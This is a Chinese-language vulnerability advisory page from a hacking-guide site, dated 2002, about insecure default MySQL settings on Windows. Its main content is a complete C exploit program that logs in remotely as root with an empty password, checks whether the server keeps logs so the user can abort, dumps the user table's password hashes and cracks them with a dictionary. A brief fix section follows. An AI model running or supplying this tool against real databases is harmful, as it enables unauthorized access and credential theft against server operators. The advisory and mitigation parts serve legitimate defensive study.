※黑客攻防指南※===>系统漏洞==>Windows 平台的 MySQL 缺省配置的脆弱性
Windows 平台的 MySQL 缺省配置的脆弱性
涉及程序: 
MySQL for windows 

描述: 
Windows 平台的 MySQL 缺省配置的脆弱性 

详细: 
MySQL 是一款源代码开放的关系型数据库管理系统(RDMS)。然而由于 MySQL 在 Windows 平台上缺省配置的弱安全性,
得普通用户如果不注意的话很容易遭到攻击。

MySQL 缺省配置的弱安全性主要表现在下面几点: 

1) 空 root 口令: 

MySQL 允许管理员通过一个叫做'mysql.user'的内部数据库系统表格进行用户管理。这个表格包括用户的用户名,
口令和主机名。然而,MySQL 缺省允许用户使用空口令本地或远程登陆系统。但是 MySQL 的用户手册中却从来没有
提到要删除缺省的 root/NULL 帐号。

2) Non-loopback-bound server: 

大部分的MySQL用户都是在同一台本地主机上运行他们的数据库服务器。 如果一台服务器被绑定到Loopback(回环)接口,
就意味着仅仅允许在本地登陆,已经排除了远程登陆的可能性,因为在实际中,大多数用户一般是不需要远程登陆的。
然而在MySQL的配置文件中,'bind-address=127.0.0.1'缺省是被注释掉的,使得MySQL能够被远程主机访问。
联合上述(1)中提到的root用户缺省空口令问题,将意味着如果用户按缺省配置不做更改的话,
任何攻击者不用任何口令都可以远程登陆到服务器上。

3) 缺省没有任何日志: 

通常在任何安全服务器软件中,日志都是必不可少的。但是 Windows 平台上的 MySQL 缺省根本就没有任何日志。
也就是说 MySQL 管理员根本就无法知道他的服务器是否已经受到了安全威胁。


攻击方法: 

#include <stdio.h> 
#ifdef WIN32 
#include <windows.h> 
#endif 
#include <mysql.h> 

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*? 
/*Crazy MySQL programmers and their short typedefs*/ 
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/ 

#ifndef ulong 
#define ulong unsigned long 
#endif 

#ifndef uint 
#define uint unsigned int 
#endif 

#ifndef uchar 
#define uchar unsigned char 
#endif 

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*? 
/*##--####--####--####--####--####--####--####--##*/ 
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/ 

/*--------------------------------------------------------------*/ 
/*<<This section is ripped straight from the MySQL 
source.>>*/ 
/*I have this all nice and optimized in assembly on my 
end, but*/ 
/*writing cross-compiler inline is not too fun, and 
requring an*/ 
/*assembler is kinda frustrating.*/ 
/*--------------------------------------------------------------*/ 
void hash_password(ulong *result, const char *password) 
{ 
register ulong nr=1345345333L, add=7, nr2=0x12345671L; 
ulong tmp; 
for (; *password ; password++) 
{ 
if (*password == ' ' || *password == '\t') 
continue; /* skipp space in password */ 

tmp= (ulong) (uchar) *password; 
nr^= (((nr & 63)+add)*tmp)+ (nr << 8); 
nr2+=(nr2 << 8) ^ nr; 
add+=tmp; 
} 

result[0]=nr & 2147483647; /* Don't use sign bit 
(str2int) */; 
result[1]=nr2 & 2147483647; 
return; 
} 

void make_scrambled_password(char *to,const char *password) 
{ 
ulong hash_res[2]; 
hash_password(hash_res,password); 
sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]); 
} 
/*--------------------------------------------------------------*/ 
/*<<######################################################>>*/ 
/*--------------------------------------------------------------*/ 


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/ 


/*--------------------------------*/ 
/*>*/ 
/*--------------------------------*/ 
typedef struct 
{ 
char *user; 
char *password; 
} user; 

#define MAX_USERS 16 
/*--------------------------------*/ 
/*<<########################>>*/ 
/*--------------------------------*/ 



//main - for "coherency's" (yes, i mean laziness) sake, 
i've kept this a single function 
int 
main 
( 
int argc, 
char** argv 
) 
{ 

MYSQL * mysqlData; //--|- 
MYSQL_RES * mysqlResult; //--|-MySQL Datatypes 
MYSQL_ROW mysqlRow; //--|- 

char *spHost; //--| 
char *spUser="root"; //--| 
char *spPassword=NULL; //--|-Our connection data 
int spPort=3306; //--| 
char *spServerVersion; //--| 

int usernum=0; //--| 
user *users[MAX_USERS]; //--|-User name/hash storage 
data 

FILE *fin, *fout; //--| 
char *file_name; //--|-File I/O data 

char *line=(char *)malloc(64); //--| 
char *buff=(char *)malloc(64); //--|-Miscellaneous 
buffers 

int i=0; //--|Counter 


//Warn about not meeting minimal arguments 
if (2>argc) 
{ 
fprintf (stderr, "usage: mysqlfuck host [-p<port>]"); 
return -1; 
} 

//Copy the first argument into the host buffer 
spHost=(char *)malloc(sizeof(argv[1])); 
strcpy (spHost, argv[1]); 

//Copy port if the user specified 
if (argv[2]) 
{ 
if (argv[2][1]=='p') 
{ 
++argv[2]; 
++argv[2]; 
spPort=atoi(argv[2]); 
printf ("port: %i\n", spPort); 
} 
} 

//Initialize MySQL data and connect with root/NULL 

mysqlData = (MYSQL *)malloc(sizeof(MYSQL)); 

mysql_init (mysqlData); 

if (! mysql_real_connect (mysqlData, spHost, spUser, 
spPassword, "mysql", spPort, NULL, 0) ) 
{ 
fprintf (stderr, "mysql_real_connect: %s\n", 
mysql_error (mysqlData)); 
return -1; 
} 

//If the server logs, inform the user! 

printf ("server version: %s\n", 
mysql_get_server_info(mysqlData)); 

if (strstr (mysql_get_server_info (mysqlData), "log")) 
{ 
printf ("Warning! Server is logging - Continue(*/n)?"); 
if (getchar()=='n') 
{ 
mysql_close (mysqlData); 
return -1; 
} 
} 

//"Obtain" the hashes (notice i didn't use the word 
steal) 

if ( mysql_query (mysqlData, "SELECT user,password 
FROM user") ) 
{ 
fprintf (stderr, "mysql_query: %s\n", mysql_error 
(mysqlData)); 
return -1; 
} 

//Store the result and process it 

mysqlResult=mysql_store_result(mysqlData); 
while (mysqlRow=mysql_fetch_row(mysqlResult)) 
{ 
if (strlen(mysqlRow[0])==0) 
{ 
mysqlRow[0]="(NULL)"; 
} 

if (strlen(mysqlRow[1])==0) 
{ 
mysqlRow[1]="(NULL)"; 
} 


users[usernum]=(user *)malloc(sizeof(user)); 
users[usernum]->user=(char 
*)malloc(strlen(mysqlRow[0])+1); 
strcpy (users[usernum]->user, mysqlRow[0]); 
users[usernum]->password=(char 
*)malloc(strlen(mysqlRow[1])+1); 
strcpy (users[usernum]->password, mysqlRow[1]); 
usernum++; 
} 

mysql_close (mysqlData); 

//Setup putput file name string 

file_name=(char *)malloc (sizeof(spHost)+4); 
strcpy (file_name, spHost); 
strcat (file_name, ".txt\0\0"); 
printf ("\n+----------------------------+\n"); 
printf ("<decrypting and dumping to %s>\n", file_name); 
printf ("+----------------------------+\n"); 


fout=fopen (spHost, "w"); 

if (!fout) 
{ 
fprintf (stderr, "Unable to open %s for password 
dumping\n", spHost); 
return -1; 
} 


//Use a database to crack the hashes (optional) 
fin=fopen ("dictionary.txt", "r"); 
if (!fin) 
{ 
fprintf (stderr, "error opening dictionary.txt - no 
decryption will take place\n"); 

for (i=0;i<usernum;i++) 
{ 
printf ("%s::%s\n", users[i]->user, 
users[i]->password); 
} 

return -1; 
} 

//Loop through the user array and crack/output hashes 
for (i=0;i<usernum;i++) 
{ 
if (users[i]->user) 
{ 
if (users[i]->password) 
{ 

while ( (fgets (line, 63, fin))) 
{ 
line[strlen(line)-1]='\0'; 
make_scrambled_password (buff, line); 
if (strcmp (buff, users[i]->password)==0) 
{ 
users[i]->password=line; 
break; 
} 
} 

fclose (fin); 

fprintf (fout, "%s::%s\n", users[i]->user, 
users[i]->password); 
printf ("%s::%s\n", users[i]->user, 
users[i]->password); 
fflush (fout); 
} 
} 
} 

//Always clean up after yourself! 

fclose (fout); 

if (buff) 
free (buff); 

if (line) 
free (line); 

if (spHost) 
free (spHost); 

if (users) 
free (users); 

if (file_name) 
free (file_name); 

if (mysqlData) 
free (mysqlData); 

} 


解决方案: 
1) 空 root 口令: 
将缺省的 root 空帐号删除或改为强壮的口令。

2) Non-loopback-bound server: 
在 my.ini 文件中将'bind-address=127.0.0.1' 的注释取消。 

3) 缺省没有任何日志: 
在my.ini文件中添加如下两行字串:
log-long-format 
log=/path/to/somewhere/log.txt 

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve